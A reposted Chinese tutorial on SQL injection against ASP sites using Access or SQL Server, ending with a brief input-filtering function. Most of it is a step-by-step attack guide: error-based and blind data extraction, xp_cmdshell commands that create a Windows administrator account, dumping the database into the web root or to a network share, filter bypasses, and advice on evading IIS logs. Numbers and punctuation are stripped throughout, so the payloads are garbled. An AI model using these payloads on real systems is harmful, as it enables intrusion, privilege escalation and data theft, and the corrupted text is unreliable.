引 言
隨著B/S模式應用開發的發展使用這種模式編寫應用程序的程序員也越來越多但是由於這個行業的入門門檻不高程序員的水平及經驗也參差不齊相當大一部分程序員在編寫代碼的時候沒有對用戶輸入數據的合法性進行判斷使應用程序存在安全隱患用戶可以提交一段數據庫查詢代碼根據程序返回的結果獲得某些他想得知的數據這就是所謂的SQL Injection即SQL注入
SQL注入是從正常的WWW端口訪問而且表面看起來跟一般的Web頁面訪問沒什麼區別所以目前市面的防火牆都不會對SQL注入發出警報如果管理員沒查看IIS日志的習慣可能被入侵很長時間都不會發覺
但是SQL注入的手法相當靈活在注入的時候會碰到很多意外的情況能不能根據具體情況進行分析構造巧妙的SQL語句從而成功獲取想要的數據是高手與菜鳥的根本區別
根據國情國內的網站用ASP+Access或SQLServer的占%以上PHP+MySQ占L%其他的不足%在本文我們從分入門進階至高級講解一下ASP注入的方法及技巧PHP注入的文章由NB聯盟的另一位朋友zwell撰寫希望對安全工作者和程序員都有用處了解 ASP注入的朋友也請不要跳過入門篇因為部分人對注入的基本判斷方法還存在誤區大家准備好了嗎?Lets Go
入門篇
如果你以前沒試過SQL注入的話那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉否則不論服務器返回什麼錯誤IE都只顯示為HTTP 服務器錯誤不能獲得更多的提示信息
第一節 SQL注入原理
以下我們從一個網站wwwmytestcom開始(注本文發表前已征得該站站長同意大部分都是真實數據)
在網站首頁上有名為IE不能打開新窗口的多種解決方法的鏈接地址為http://wwwmytestcom/showdetailasp?id=我們在這個地址後面加上單引號服務器會返回下面的錯誤提示
Microsoft JET Database Engine 錯誤 e
字符串的語法錯誤 在查詢表達式 ID= 中
/showdetailasp行
從這個錯誤提示我們能看出下面幾點
網站使用的是Access數據庫通過JET引擎連接數據庫而不是通過ODBC
程序沒有判斷客戶端提交的數據是否符合程序要求
該SQL語句所查詢的表中有一名為ID的字段
從上面的例子我們可以知道SQL注入的原理就是從客戶端提交特殊的代碼從而收集程序及服務器的信息從而獲取你想到得到的資料
第二節 判斷能否進行SQL注入
看完第一節有一些人會覺得我也是經常這樣測試能否注入的這不是很簡單嗎?
其實這並不是最好的方法為什麼呢?
首先不一定每台服務器的IIS都返回具體錯誤提示給客戶端如果程序中加了cint(參數)之類語句的話SQL注入是不會成功的但服務器同樣會報錯具體提示信息為處理 URL 時服務器上出錯請和系統管理員聯絡
其次部分對SQL注入有一點了解的程序員認為只要把單引號過濾掉就安全了這種情況不為少數如果你用單引號測試是測不到注入點的
那麼什麼樣的測試方法才是比較准確呢?答案如下
① http://wwwmytestcom/showdetailasp?id=
② http://wwwmytestcom/showdetailasp?id= ;and =
③ http://wwwmytestcom/showdetailasp?id= ;and =
這就是經典的==測試法了怎麼判斷呢?看看上面三個網址返回的結果就知道了
可以注入的表現
① 正常顯示(這是必然的不然就是程序有錯誤了)
② 正常顯示內容基本與①相同
③ 提示BOF或EOF(程序沒做任何判斷時)或提示找不到記錄(判斷了rseof時)或顯示內容為空(程序加了on error resume next)
不可以注入就比較容易判斷了①同樣正常顯示②和③一般都會有程序定義的錯誤提示或提示類型轉換時出錯
當然這只是傳入參數是數字型的時候用的判斷方法實際應用的時候會有字符型和搜索型參數我將在中級篇的SQL注入一般步驟再做分析
第三節 判斷數據庫類型及注入方法
不同的數據庫的函數注入方法都是有差異的所以在注入之前我們還要判斷一下數據庫的類型一般ASP最常搭配的數據庫是Access和SQLServer網上超過%的網站都是其中之一
怎麼讓程序告訴你它使用的什麼數據庫呢?來看看
SQLServer有一些系統變量如果服務器IIS提示沒關閉並且SQLServer返回錯誤提示的話那可以直接從出錯信息獲取方法如下
http://wwwmytestcom/showdetailasp?id= ;and user>
這句語句很簡單但卻包含了SQLServer特有注入方法的精髓我自己也是在一次無意的測試中發現這種效率極高的猜解方法讓我看來看看它的含義首先前面的語句是正常的重點在and user>我們知道user是SQLServer的一個內置變量它的值是當前連接的用戶名類型為nvarchar拿一個 nvarchar的值跟int的數比較系統會先試圖將nvarchar的值轉成int型當然轉的過程中肯定會出錯SQLServer的出錯提示是將nvarchar值 abc 轉換數據類型為 int 的列時發生語法錯誤呵呵abc正是變量user的值這樣不廢吹灰之力就拿到了數據庫的用戶名在以後的篇幅裡大家會看到很多用這種方法的語句
順便說幾句眾所周知SQLServer的用戶sa是個等同Adminstrators權限的角色拿到了sa權限幾乎肯定可以拿到主機的 Administrator了上面的方法可以很方便的測試出是否是用sa登錄要注意的是如果是sa登錄提示是將dbo轉換成int的列發生錯誤而不是sa
如果服務器IIS不允許返回錯誤提示那怎麼判斷數據庫類型呢?我們可以從Access和SQLServer和區別入手Access和 SQLServer都有自己的系統表比如存放數據庫中所有對象的表Access是在系統表[msysobjects]中但在Web環境下讀該表會提示沒有權限SQLServer是在表[sysobjects]中在Web環境下可正常讀取
在確認可以注入的情況下使用下面的語句
http://wwwmytestcom/showdetailasp?id= ;and (select count(*) from sysobjects)>
http://wwwmytestcom/showdetailasp?id= ;and (select count(*) from msysobjects)>
如果數據庫是SQLServer那麼第一個網址的頁面與原頁面http://wwwmytestcom/showdetailasp?id= 是大致相同的而第二個網址由於找不到表msysobjects會提示出錯就算程序有容錯處理頁面也與原頁面完全不同
如果數據庫用的是Access那麼情況就有所不同第一個網址的頁面與原頁面完全不同第二個網址則視乎數據庫設置是否允許讀該系統表一般來說是不允許的所以與原網址也是完全不同大多數情況下用第一個網址就可以得知系統所用的數據庫類型第二個網址只作為開啟IIS錯誤提示時的驗證
進階篇
在入門篇我們學會了SQL注入的判斷方法但真正要拿到網站的保密內容是遠遠不夠的接下來我們就繼續學習如何從數據庫中獲取想要獲得的內容首先我們先看看SQL注入的一般步驟
第一節 SQL注入的一般步驟
首先判斷環境尋找注入點判斷數據庫類型這在入門篇已經講過了
其次根據注入參數類型在腦海中重構SQL語句的原貌按參數類型主要分為下面三種
(A) ID= 這類注入的參數是數字型SQL語句原貌大致如下
Select * from 表名 where 字段=
注入的參數為ID= And [查詢條件]即是生成語句
Select * from 表名 where 字段= And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型SQL語句原貌大致概如下
Select * from 表名 where 字段=連續劇
注入的參數為Class=連續劇 and [查詢條件] and = 即是生成語句
Select * from 表名 where 字段=連續劇 and [查詢條件] and =
© 搜索時沒過濾參數的如keyword=關鍵字SQL語句原貌大致如下
Select * from 表名 where 字段like %關鍵字%
注入的參數為keyword= and [查詢條件] and %= 即是生成語句
Select * from 表名 where字段like % and [查詢條件] and %=%
接著將查詢條件替換成SQL語句猜解表名例如
ID= And (Select Count(*) from Admin)>=
如果頁面就與ID=的相同說明附加條件成立即表Admin存在反之即不存在(請牢記這種方法)如此循環直至猜到表名為止
表名猜出來後將Count(*)替換成Count(字段名)用同樣的原理猜解字段名
有人會說這裡有一些偶然的成分如果表名起得很復雜沒規律的那根本就沒得玩下去了說得很對這世界根本就不存在%成功的黑客技術蒼蠅不叮無縫的蛋無論多技術多高深的黑客都是因為別人的程序寫得不嚴密或使用者保密意識不夠才有得下手
有點跑題了話說回來對於SQLServer的庫還是有辦法讓程序告訴我們表名及字段名的我們在高級篇中會做介紹
最後在表名和列名猜解成功後再使用SQL語句得出字段的值下面介紹一種最常用的方法-Ascii逐字解碼法雖然這種方法速度很慢但肯定是可行的方法
我們舉個例子已知表Admin中存在username字段首先我們取第一條記錄測試長度
http://wwwmytestcom/showdetailasp?id= ;and (select top len(username) from Admin)>
先說明原理如果top 的username長度大於則條件成立接著就是>>>這樣測試下去一直到條件不成立為止比如>成立>不成立就是len(username)=
當然沒人會笨得從一個個測試怎麼樣才比較快就看各自發揮了在得到username的長度後用mid(usernameN)截取第N位字符再asc(mid(usernameN))得到ASCII碼比如
id= and (select top asc(mid(username)) from Admin)>
同樣也是用逐步縮小范圍的方法得到第位字符的ASCII碼注意的是英文和數字的ASCII碼在之間可以用折半法加速猜解如果寫成程序測試效率會有極大的提高
第二節 SQL注入常用函數
有SQL語言基礎的人在SQL注入的時候成功率比不熟悉的人高很多我們有必要提高一下自己的SQL水平特別是一些常用的函數及命令
Accessasc(字符) SQLServerunicode(字符)
作用返回某字符的ASCII碼
Accesschr(數字) SQLServernchar(數字)
作用與asc相反根據ASCII碼返回字符
Accessmid(字符串NL) SQLServersubstring(字符串NL)
作用返回字符串從N個字符起長度為L的子字符串即N到N+L之間的字符串
Accessabc(數字) SQLServerabc (數字)
作用返回數字的絕對值(在猜解漢字的時候會用到)
AccessA between B And C SQLServerA between B And C
作用判斷A是否界於B與C之間
第三節 中文處理方法
在注入中碰到中文字符是常有的事有些人一碰到中文字符就想打退堂鼓了其實只要對中文的編碼有所了解中文恐懼症很快可以克服
先說一點常識
Access中中文的ASCII碼可能會出現負數取出該負數後用abs()取絕對值漢字字符不變
SQL Server中中文的ASCII為正數但由於是UNICODE的雙位編碼不能用函數ascii()取得ASCII碼必須用函數unicode ()返回unicode值再用nchar函數取得對應的中文字符
了解了上面的兩點後是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意猜解范圍大一點外方法是沒什麼兩樣的
高級篇
看完入門篇和進階篇後稍加練習破解一般的網站是沒問題了但如果碰到表名列名猜不到或程序作者過濾了一些特殊字符怎麼提高注入的成功率?怎麼樣提高猜解效率?請大家接著往下看高級篇
第一節 利用系統表注入SQLServer數據庫
SQL Server是一個功能強大的數據庫系統與操作系統也有緊密的聯系這給開發者帶來了很大的方便但另一方面也為注入者提供了一個跳板我們先來看看幾個具體的例子
① http://Site/urlasp?id=;exec masterxp_cmdshell net user name password /add
分號;在SQLServer中表示隔開前後兩句語句表示後面的語句為注釋所以這句語句在SQLServer中將被分成兩句執行先是Select出ID=的記錄然後執行存儲過程xp_cmdshell這個存儲過程用於調用系統命令於是用net命令新建了用戶名為name密碼為password的windows的帳號接著
② http://Site/urlasp?id=;exec masterxp_cmdshell net localgroup name administrators /add
將新建的帳號name加入管理員組不用兩分鐘你已經拿到了系統最高權限!當然這種方法只適用於用sa連接數據庫的情況否則是沒有權限調用xp_cmdshell的
③ http://Site/urlasp?id= ;and db_name()>
前面有個類似的例子and user>作用是獲取連接用戶名db_name()是另一個系統變量返回的是連接的數據庫名
④ http://Site/urlasp?id=;backup database 數據庫名 to disk=c:\inetpub\wwwroot\db;
這是相當狠的一招從③拿到的數據庫名加上某些IIS出錯暴露出的絕對路徑將數據庫備份到Web目錄下面再用HTTP把整個數據庫就完完整整的下載回來所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候還可以備份到網絡地址的方法(如\\xxxx\Share \db)但成功率不高
⑤ http://Site/urlasp?id= ;and (Select Top name from sysobjects where xtype=U and status>)>
前面說過sysobjects是SQLServer的系統表存儲著所有的表名視圖約束及其它對象xtype=U and status>表示用戶建立的表名上面的語句將第一個表名取出與比較大小讓報錯信息把表名暴露出來第二第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧
⑥ http://Site/urlasp?id= ;and (Select Top col_name(object_id(表名)) from sysobjects)>
從⑤拿到表名後用object_id(表名)獲取表名對應的內部IDcol_name(表名ID)代表該表的第個字段名將換成就可以逐個獲取所猜解表裡面的字段名
以上點是我研究SQLServer注入半年多以來的心血結晶可以看出對SQLServer的了解程度直接影響著成功率及猜解速度在我研究SQLServer注入之後我在開發方面的水平也得到很大的提高呵呵也許安全與開發本來就是相輔相成的吧
第二節 繞過程序限制繼續注入
在入門篇提到有很多人喜歡用號測試注入漏洞所以也有很多人用過濾號的方法來防止注入漏洞這也許能擋住一些入門者的攻擊但對SQL注入比較熟悉的人還是可以利用相關的函數達到繞過程序限制的目的
在SQL注入的一般步驟一節中我所用的語句都是經過我優化讓其不包含有單引號的在利用系統表注入SQLServer數據庫中有些語句包含有號我們舉個例子來看看怎麼改造這些語句
簡單的如where xtype=U字符U對應的ASCII碼是所以可以用where xtype=char()代替如果字符是中文的比如where name=用戶可以用where name=nchar()+nchar()代替
第三節 經驗小結
有些人會過濾SelectUpdateDelete這些關鍵字但偏偏忘記區分大小寫所以大家可以用selecT這樣嘗試一下
在猜不到字段名時不妨看看網站上的登錄表單一般為了方便起見字段名都與表單的輸入框取相同的名字
特別注意地址欄的+號傳入程序後解釋為空格%B解釋為+號%解釋為%號具體可以參考URLEncode的相關介紹
用Get方法注入時IIS會記錄你所有的提交字符串對Post方法做則不記錄所以能用Post的網址盡量不用Get
猜解Access時只能用Ascii逐字解碼法SQLServer也可以用這種方法只需要兩者之間的區別即可但是如果能用SQLServer的報錯信息把值暴露出來那效率和准確率會有極大的提高
防范方法
SQL注入漏洞可謂是千裡之堤潰於蟻穴這種漏洞在網上極為普遍通常是由於程序員對注入不了解或者程序過濾不嚴格或者某個參數忘記檢查導致在這裡我給大家一個函數代替ASP中的Request函數可以對一切的SQL注入Say NO函數如下
Function SafeRequest(ParaNameParaType)
傳入參數
ParaName:參數名稱字符型
ParaType:參數類型數字型(表示以上參數是數字表示以上參數為字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType= then
If not isNumeric(ParaValue) then
Responsewrite 參數 & ParaName & 必須為數字型!
Responseend
End if
Else
ParaValue=replace(ParaValue)
End if
SafeRequest=ParaValue
End function
文章到這裡就結束了不管你是安全人員技術愛好者還是程序員我都希望本文能對你有所幫助
From:http://tw.wingwit.com/Article/program/SQL/201311/16385.html